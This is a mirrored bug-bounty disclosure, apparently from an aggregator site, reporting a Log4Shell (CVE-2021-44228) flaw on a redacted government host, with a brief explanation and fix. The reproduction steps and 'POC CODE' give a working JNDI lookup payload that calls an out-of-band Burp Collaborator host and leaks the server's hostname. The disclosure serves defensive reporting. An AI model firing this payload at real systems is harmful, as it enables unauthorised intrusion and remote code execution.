Skip to content
RCE Disclosed report Intermediate CVE-2021-44228

Log4Shell: RCE 0-day exploit on █████████

The report claims that a domain is vulnerable to the Log4Shell vulnerability (CVE-2021-44228) in the Java logging library Log4j. An attacker could exploit this to achieve remote code execution by sending a crafted JNDI lookup string, as demonstrated by a reverse ping to a Burp Collaborator server.

mr_x_strange Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in under an hour
  • Fixed in 14 days
  • Disclosed after 18 days

Hi team, log4 shell is recent 0-day exploit it's Java package vulnerable. ██████████ domain is vulnerable

Impact

RCE

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-44228

Steps to Reproduce

  1. Go to this url => https://███████/██████=%24%7bjndi%3aldap%3a%2f%2fx%24%7bhostName%7d.LOG45200SSRF.xxxxxx.burpcollaborator.net%2fa%7d
  2. paste the poc code on ██████ url parameter
  3. like this => https://██████████/██████
  4. then burp collaborator received reverse ping back
  5. I attached poc videos and photos below

##POC CODE ${jndi:ldap://x${hostName}.log4j.xxxxxxx.burpcollaborator.net/a}

Suggested Mitigation/Remediation Actions

https://www.lunasec.io/docs/blog/log4j-zero-day/

The original report as published on HackerOne, by mr_x_strange. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application used a vulnerable version of Log4j that did not sanitise JNDI lookups in logged user input.

What the attacker needed

Vulnerable Log4j version; attacker-controlled LDAP server; ability to inject payload into logged input

The fix

The application should be updated to a non-vulnerable version of Log4j or have the JNDI lookup functionality disabled.

How it was found

  1. Visit the provided URL containing a JNDI payload in a parameter.
  2. Paste the proof-of-concept code into the vulnerable URL parameter.
  3. Observe that the Burp Collaborator server receives a reverse ping.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Log4j is a Java logging library. A flaw lets a special string in input make the server connect to an attacker's address, which could lead to code execution. This report shows one website was vulnerable.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.